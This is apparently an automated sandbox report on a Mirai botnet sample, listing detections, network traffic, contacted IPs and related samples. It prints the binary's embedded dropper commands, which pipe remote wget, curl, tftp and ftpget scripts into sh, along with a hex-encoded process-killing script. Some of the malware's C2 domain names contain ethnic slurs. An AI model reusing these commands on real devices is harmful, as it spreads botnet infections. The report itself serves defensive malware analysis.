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Linux Analysis Report
buPdHWwrzF.elf

Overview

General Information

Sample name:	buPdHWwrzF.elf renamed because original name is a hash value
Original sample name:	b7c003c0f331d91070d935c070dc0b63.elf
Analysis ID:	1467558
MD5:	b7c003c0f331d91070d935c070dc0b63
SHA1:	b6ccac151b67fa5e2601e7d37a6d464e56a31331
SHA256:	ac0bf1c564df7f3400634a3d72e880b5217e25a524e3e362f99ba0014e781859
Tags:	32elfmipsmirai
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1467558
Start date and time:	2024-07-04 12:50:23 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	buPdHWwrzF.elf renamed because original name is a hash value
Original Sample Name:	b7c003c0f331d91070d935c070dc0b63.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/113@7/0

Runtime Messages

Command:	/tmp/buPdHWwrzF.elf
PID:	6268
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

buPdHWwrzF.elf (PID: 6268, Parent: 6190, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/buPdHWwrzF.elf

buPdHWwrzF.elf New Fork (PID: 6270, Parent: 6268)

buPdHWwrzF.elf New Fork (PID: 6272, Parent: 6270)

buPdHWwrzF.elf New Fork (PID: 6274, Parent: 6270)

buPdHWwrzF.elf New Fork (PID: 6275, Parent: 6270)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: buPdHWwrzF.elf	Virustotal: Detection: 57%			Perma Link
Source: buPdHWwrzF.elf	ReversingLabs: Detection: 52%

Source: global traffic	DNS traffic detected: malformed DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: infectedchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: freethemonkeys.pirate. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: freethewind.parody. [malformed]
Source: global traffic	DNS traffic detected: malformed DNS query: chinklabs.dyn. [malformed]

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 129.231.45.107
Source: unknown	TCP traffic detected without corresponding DNS query: 102.219.134.119
Source: unknown	TCP traffic detected without corresponding DNS query: 129.231.45.107
Source: unknown	TCP traffic detected without corresponding DNS query: 195.156.31.179
Source: unknown	TCP traffic detected without corresponding DNS query: 102.219.134.119
Source: unknown	TCP traffic detected without corresponding DNS query: 3.16.125.213
Source: unknown	TCP traffic detected without corresponding DNS query: 195.156.31.179
Source: unknown	TCP traffic detected without corresponding DNS query: 171.171.157.168
Source: unknown	TCP traffic detected without corresponding DNS query: 3.47.120.116
Source: unknown	TCP traffic detected without corresponding DNS query: 3.16.125.213
Source: unknown	TCP traffic detected without corresponding DNS query: 22.140.78.61
Source: unknown	TCP traffic detected without corresponding DNS query: 171.171.157.168
Source: unknown	TCP traffic detected without corresponding DNS query: 123.202.218.219
Source: unknown	TCP traffic detected without corresponding DNS query: 3.47.120.116
Source: unknown	TCP traffic detected without corresponding DNS query: 22.140.78.61
Source: unknown	TCP traffic detected without corresponding DNS query: 119.93.97.36
Source: unknown	TCP traffic detected without corresponding DNS query: 123.202.218.219
Source: unknown	TCP traffic detected without corresponding DNS query: 151.153.87.253
Source: unknown	TCP traffic detected without corresponding DNS query: 119.93.97.36
Source: unknown	TCP traffic detected without corresponding DNS query: 208.119.11.188
Source: unknown	TCP traffic detected without corresponding DNS query: 151.153.87.253
Source: unknown	TCP traffic detected without corresponding DNS query: 57.0.175.183
Source: unknown	TCP traffic detected without corresponding DNS query: 208.119.11.188
Source: unknown	TCP traffic detected without corresponding DNS query: 149.220.77.52
Source: unknown	TCP traffic detected without corresponding DNS query: 120.222.31.15
Source: unknown	TCP traffic detected without corresponding DNS query: 184.98.130.137
Source: unknown	TCP traffic detected without corresponding DNS query: 57.0.175.183
Source: unknown	TCP traffic detected without corresponding DNS query: 149.220.77.52
Source: unknown	TCP traffic detected without corresponding DNS query: 185.61.24.107
Source: unknown	TCP traffic detected without corresponding DNS query: 120.222.31.15
Source: unknown	TCP traffic detected without corresponding DNS query: 184.98.130.137
Source: unknown	TCP traffic detected without corresponding DNS query: 188.225.173.78
Source: unknown	TCP traffic detected without corresponding DNS query: 160.207.158.31
Source: unknown	TCP traffic detected without corresponding DNS query: 185.61.24.107
Source: unknown	TCP traffic detected without corresponding DNS query: 57.0.175.183
Source: unknown	TCP traffic detected without corresponding DNS query: 208.119.11.188
Source: unknown	TCP traffic detected without corresponding DNS query: 205.97.174.76
Source: unknown	TCP traffic detected without corresponding DNS query: 188.225.173.78
Source: unknown	TCP traffic detected without corresponding DNS query: 83.42.54.23
Source: unknown	TCP traffic detected without corresponding DNS query: 120.222.31.15
Source: unknown	TCP traffic detected without corresponding DNS query: 149.220.77.52
Source: unknown	TCP traffic detected without corresponding DNS query: 184.98.130.137
Source: unknown	TCP traffic detected without corresponding DNS query: 160.207.158.31
Source: unknown	TCP traffic detected without corresponding DNS query: 114.49.238.151
Source: unknown	TCP traffic detected without corresponding DNS query: 205.97.174.76
Source: unknown	TCP traffic detected without corresponding DNS query: 185.61.24.107
Source: unknown	TCP traffic detected without corresponding DNS query: 83.42.54.23
Source: unknown	TCP traffic detected without corresponding DNS query: 51.65.233.38
Source: unknown	TCP traffic detected without corresponding DNS query: 114.49.238.151

Source: global traffic	DNS traffic detected: DNS query: himrresearcher.dyn
Source: global traffic	DNS traffic detected: DNS query: burnthe.libre. [malformed]
Source: global traffic	DNS traffic detected: DNS query: infectedchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: yellowchink.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: freethemonkeys.pirate. [malformed]
Source: global traffic	DNS traffic detected: DNS query: freethewind.parody. [malformed]
Source: global traffic	DNS traffic detected: DNS query: chinklabs.dyn. [malformed]

Source: buPdHWwrzF.elf	String found in binary or memory: http:///curl.sh
Source: buPdHWwrzF.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6296/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6296/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6295/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6295/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6298/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6298/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6297/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6297/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6341/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6341/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6289/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6289/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6300/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6300/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6299/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6299/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6302/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6302/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6301/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6301/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6290/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6290/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6291/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6291/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6294/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6294/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6293/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6293/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6304/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6304/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6303/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6303/cmdline	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6305/maps	Jump to behavior
Source: /tmp/buPdHWwrzF.elf (PID: 6274)	File opened: /proc/6305/cmdline	Jump to behavior

Source: buPdHWwrzF.elf, 6268.1.000055ec5330b000.000055ec53392000.rw-.sdmp, buPdHWwrzF.elf, 6272.1.000055ec5330b000.000055ec53392000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: buPdHWwrzF.elf, 6268.1.000055ec5330b000.000055ec53392000.rw-.sdmp, buPdHWwrzF.elf, 6272.1.000055ec5330b000.000055ec53392000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: buPdHWwrzF.elf, 6268.1.00007ffd8bb9b000.00007ffd8bbbc000.rw-.sdmp, buPdHWwrzF.elf, 6272.1.00007ffd8bb9b000.00007ffd8bbbc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: buPdHWwrzF.elf, 6268.1.00007ffd8bb9b000.00007ffd8bbbc000.rw-.sdmp, buPdHWwrzF.elf, 6272.1.00007ffd8bb9b000.00007ffd8bbbc000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/buPdHWwrzF.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/buPdHWwrzF.elf

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label	Link
buPdHWwrzF.elf	58%	Virustotal		Browse
buPdHWwrzF.elf	53%	ReversingLabs	Linux.Trojan.Mirai

Source	Detection	Scanner	Label	Link
http:///curl.sh	0%	Avira URL Cloud	safe
http:///wget.sh	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	buPdHWwrzF.elf	false	Avira URL Cloud: safe	unknown
http:///curl.sh	buPdHWwrzF.elf	false	Avira URL Cloud: safe	unknown

Name	IP	Active	Malicious	Antivirus Detection	Reputation
himrresearcher.dyn	204.76.203.63	true	false	4%, Virustotal, Browse	unknown
chinklabs.dyn. [malformed]	unknown	unknown	true		unknown
burnthe.libre. [malformed]	unknown	unknown	true		unknown
infectedchink.pirate. [malformed]	unknown	unknown	true		unknown
yellowchink.pirate. [malformed]	unknown	unknown	true		unknown
freethewind.parody. [malformed]	unknown	unknown	true		unknown
freethemonkeys.pirate. [malformed]	unknown	unknown	true		unknown

IP	Domain	Country	ASN	ASN Name	Malicious
38.93.172.196	unknown	United States	174	COGENT-174US	false
107.8.79.195	unknown	United States	7843	TWC-7843-BBUS	false
192.60.241.204	unknown	United States	unknown	unknown	false
100.46.80.138	unknown	United States	14654	WAYPORTUS	false
135.173.211.21	unknown	United States	14962	NCR-252US	false
36.250.3.245	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
13.26.28.222	unknown	United States	26662	XEROX-WVUS	false
129.13.211.156	unknown	Germany	34878	KITKarlsruheInstituteofTechnologyDE	false
123.202.218.219	unknown	Hong Kong	9269	HKBN-AS-APHongKongBroadbandNetworkLtdHK	false
39.236.73.178	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
205.171.85.189	unknown	United States	17207	COLOR-COLLUS	false
186.85.1.140	unknown	Colombia	10620	TelmexColombiaSACO	false
219.81.154.20	unknown	Taiwan; Republic of China (ROC)	9924	TFN-TWTaiwanFixedNetworkTelcoandNetworkServiceProvi	false
125.197.37.179	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
122.80.72.255	unknown	China	45069	CNNIC-CTTSDNET-APchinatietongShandongnetCN	false
178.230.131.37	unknown	Netherlands	31615	TMO-NL-ASNL	false
121.71.157.148	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
5.49.32.95	unknown	France	5410	BOUYGTEL-ISPFR	false
87.105.61.231	unknown	Poland	12741	AS-NETIAWarszawa02-822PL	false
22.120.5.18	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
67.197.126.75	unknown	United States	14615	ROCK-HILL-TELEPHONEUS	false
183.156.157.94	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
33.186.109.3	unknown	United States	2686	ATGS-MMD-ASUS	false
130.177.34.98	unknown	United States	16509	AMAZON-02US	false
142.110.40.246	unknown	Canada	25635	SAIT-ASCA	false
119.210.202.237	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
174.183.44.154	unknown	United States	7922	COMCAST-7922US	false
152.175.184.74	unknown	Chile	7418	TELEFONICACHILESACL	false
3.16.125.213	unknown	United States	16509	AMAZON-02US	false
62.140.63.219	unknown	Austria	8412	TMARennweg97-99AT	false
140.122.93.14	unknown	Taiwan; Republic of China (ROC)	38844	NTNU-TWNationalTaiwanNormalUniversityTW	false
200.141.44.155	unknown	Brazil	7738	TelemarNorteLesteSABR	false
88.244.62.238	unknown	Turkey	9121	TTNETTR	false
195.51.50.45	unknown	European Union	5498	UNIBEL-ASBY	false
86.92.233.170	unknown	Netherlands	1136	KPNKPNNationalEU	false
71.255.122.231	unknown	United States	13672	FAIRPO-3US	false
130.60.154.24	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
163.28.145.135	unknown	Taiwan; Republic of China (ROC)	1659	ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC	false
111.74.116.203	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
190.31.186.116	unknown	Argentina	7303	TelecomArgentinaSAAR	false
51.230.33.127	unknown	United Kingdom	2686	ATGS-MMD-ASUS	false
213.137.67.145	unknown	Israel	51825	TELZAR-ASNIL	false
71.130.161.195	unknown	United States	7018	ATT-INTERNET4US	false
134.70.144.210	unknown	United States	46558	SUN-DSEOUS	false
193.255.84.36	unknown	Turkey	8517	ULAKNETTR	false
33.177.66.131	unknown	United States	2686	ATGS-MMD-ASUS	false
184.98.130.137	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
218.44.76.230	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
94.196.95.184	unknown	United Kingdom	206067	H3GUKGB	false
143.227.240.229	unknown	United States	393296	AUGUSTANACOLLEGEROCKISLANDILUS	false
134.2.176.109	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
46.128.96.202	unknown	Germany	35244	KMS-DE_ASDE	false
123.43.147.172	unknown	Korea Republic of	6619	SAMSUNGSDS-AS-KRSamsungSDSIncKR	false
174.188.228.42	unknown	United States	7922	COMCAST-7922US	false
162.29.47.166	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
76.29.185.252	unknown	United States	7922	COMCAST-7922US	false
221.193.237.42	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
111.184.248.197	unknown	Taiwan; Republic of China (ROC)	9416	MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW	false
37.53.106.242	unknown	Ukraine	6849	UKRTELNETUA	false
94.105.40.43	unknown	Belgium	47377	ORANGE_BELGIUM_SAKPNBelgiumBusinessNVhasbeenacquired	false
81.159.193.239	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
138.87.84.67	unknown	United States	7386	ILLINOIS-STATE-UNIVUS	false
167.135.199.236	unknown	United States	11404	AS-WAVE-1US	false
77.209.83.24	unknown	Spain	12430	VODAFONE_ESES	false
101.23.219.52	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
213.54.33.237	unknown	Germany	12312	ECOTELDE	false
16.240.111.122	unknown	United States	unknown	unknown	false
217.178.18.236	unknown	Japan	55391	MF-NATIVE6-EINTERNETMULTIFEEDCOJP	false
187.215.128.248	unknown	Mexico	8151	UninetSAdeCVMX	false
114.49.238.151	unknown	Japan	37903	EMOBILEYmobileCorporationJP	false
188.164.158.232	unknown	Armenia	199673	AM-ABC-DOMAIN-AS-AM-NIC-AS-AM	false
45.53.242.251	unknown	United States	5650	FRONTIER-FRTRUS	false
147.109.59.119	unknown	Australia	37978	NETTAS-AS-APNetworkingTasmaniaAU	false
63.116.83.88	unknown	United States	53393	LGCNS-AS2US	false
118.214.18.85	unknown	Singapore	4651	THAI-GATEWAYTheCommunicationsAuthorityofThailandCAT	false
64.59.55.154	unknown	United States	7029	WINDSTREAMUS	false
141.25.244.133	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
134.14.63.2	unknown	United States	270	AS270US	false
7.203.76.131	unknown	United States	3356	LEVEL3US	false
203.7.242.89	unknown	Australia	7604	ZETTAGRID-ASZETTAGRIDCLOUDAU	false
53.89.243.248	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
186.165.85.4	unknown	Venezuela	21575	ENTELPERUSAPE	false
18.42.73.243	unknown	United States	3	MIT-GATEWAYSUS	false
84.61.180.112	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
211.186.246.58	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
187.39.247.127	unknown	Brazil	28573	CLAROSABR	false
14.210.171.117	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
186.146.30.70	unknown	Colombia	10620	TelmexColombiaSACO	false
97.148.133.159	unknown	United States	6167	CELLCO-PARTUS	false
198.135.255.58	unknown	United States	30424	WEST-JEFFERSON-MEDICAL-CENTER-LOUISIANAUS	false
31.157.91.3	unknown	Italy	30722	VODAFONE-IT-ASNIT	false
38.14.1.248	unknown	United States	174	COGENT-174US	false
217.247.222.134	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
65.221.185.44	unknown	United States	11486	COLO-PREM-VZBUS	false
71.150.136.211	unknown	United States	7018	ATT-INTERNET4US	false
196.66.6.198	unknown	Morocco	6713	IAM-ASMA	false
91.39.125.176	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
146.231.29.146	unknown	South Africa	37520	Rhodes-UnivZA	false
88.59.27.107	unknown	Italy	3269	ASN-IBSNAZIT	false
205.128.180.166	unknown	United States	3356	LEVEL3US	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WAYPORTUS	jxnRJIvUKz.elf	Get hash	malicious	Mirai	Browse	107.28.20.232
	RDEHNTKF1V.elf	Get hash	malicious	Mirai, Moobot	Browse	100.47.139.44
	1CZlhmRsza.elf	Get hash	malicious	Mirai, Moobot	Browse	107.30.82.6
	botx.x86.elf	Get hash	malicious	Mirai	Browse	184.49.210.8
	ksxhUwe4q5.elf	Get hash	malicious	Mirai, Moobot	Browse	107.28.202.190
	544fo2biO9.elf	Get hash	malicious	Mirai, Moobot	Browse	64.134.164.74
	gtMzliIYIc.elf	Get hash	malicious	Mirai, Moobot	Browse	107.25.17.12
	qEZENuYdOG.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	50.94.96.206
	sYgsg1JAC0.elf	Get hash	malicious	Mirai	Browse	50.95.124.240
	VapIQOTGj7.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	100.45.178.189
COGENT-174US	Z2X8cP8r7S.elf	Get hash	malicious	Unknown	Browse	149.51.230.83
	DVh7O0cBNN.elf	Get hash	malicious	Unknown	Browse	38.223.205.231
	vGUfP1M4Q6.elf	Get hash	malicious	Unknown	Browse	38.159.149.104
	addvXQnjp3.elf	Get hash	malicious	Unknown	Browse	38.241.40.105
	er8xK60DM8.elf	Get hash	malicious	Unknown	Browse	38.83.35.51
	eW8ah5TCen.elf	Get hash	malicious	Unknown	Browse	38.119.111.72
	d54Y7Ql8sO.elf	Get hash	malicious	Unknown	Browse	38.120.185.192
	c3GW14f8Ea.elf	Get hash	malicious	Unknown	Browse	149.94.39.136
	1QP92XNATU.elf	Get hash	malicious	Unknown	Browse	38.44.104.163
	5No3fHe5eO.elf	Get hash	malicious	Mirai	Browse	38.221.3.8
TWC-7843-BBUS	AvLj9c169F.elf	Get hash	malicious	Mirai, Moobot	Browse	69.134.141.218
	ujnBwGwIt8.elf	Get hash	malicious	Mirai, Moobot	Browse	131.223.177.152
	qEGv2vQa9X.elf	Get hash	malicious	Mirai	Browse	23.48.187.235
	EZPrs0LSHV.elf	Get hash	malicious	Mirai	Browse	104.97.93.191
	skt.mpsl.elf	Get hash	malicious	Mirai	Browse	131.223.235.224
	z48S00vB8o.elf	Get hash	malicious	Mirai	Browse	107.14.69.4
	NnS9ImJPht.elf	Get hash	malicious	Unknown	Browse	69.134.141.229
	at0jsDxjXS.elf	Get hash	malicious	Unknown	Browse	75.179.249.197
	wsskM49eA3.elf	Get hash	malicious	Unknown	Browse	131.150.52.165
	g2PqnVy6cQ.elf	Get hash	malicious	Mirai, Okiru	Browse	104.97.100.119
NCR-252US	Z2X8cP8r7S.elf	Get hash	malicious	Unknown	Browse	153.72.199.223
	jhpg1LVUrZ.elf	Get hash	malicious	Mirai	Browse	135.107.61.181
	watchdog.elf	Get hash	malicious	Mirai	Browse	135.173.220.57
	16bfcGvz5N.elf	Get hash	malicious	Unknown	Browse	135.138.110.36
	Lu4qSit8YR.elf	Get hash	malicious	Unknown	Browse	135.213.201.206
	lQC7IiMNX1.elf	Get hash	malicious	Mirai	Browse	135.213.201.216
	AAMwAy8pB7.elf	Get hash	malicious	Mirai, Moobot	Browse	153.53.216.94
	g75NqH852l.elf	Get hash	malicious	Mirai, Moobot	Browse	135.130.23.181
	grxpiPs2Fw.elf	Get hash	malicious	Mirai, Moobot	Browse	135.202.171.198
	s4WsI8Qcm4.elf	Get hash	malicious	Mirai, Moobot	Browse	135.152.49.57

Process:	/tmp/buPdHWwrzF.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	3.185742280040726
Encrypted:	false
SSDEEP:	3:hVIRe6X9FQWUT5FFNFIXVPj/VVBDB3FQWUT5FFNF3VVvT/VVdf/FVdVcv/VVdf//:URe6gDF+VPj/VcDFnT/VDM/V+4D/VH
MD5:	5B2D2C72C5A2DD5AD85790C3831E85D7
SHA1:	4C3C72FC6BFF2EC5EC039767396733FF608B776E
SHA-256:	C2F8F85F66F5DE56E89A301CCAB4CE8D3CC91EB6D2DFD3BC29978F8190559D60
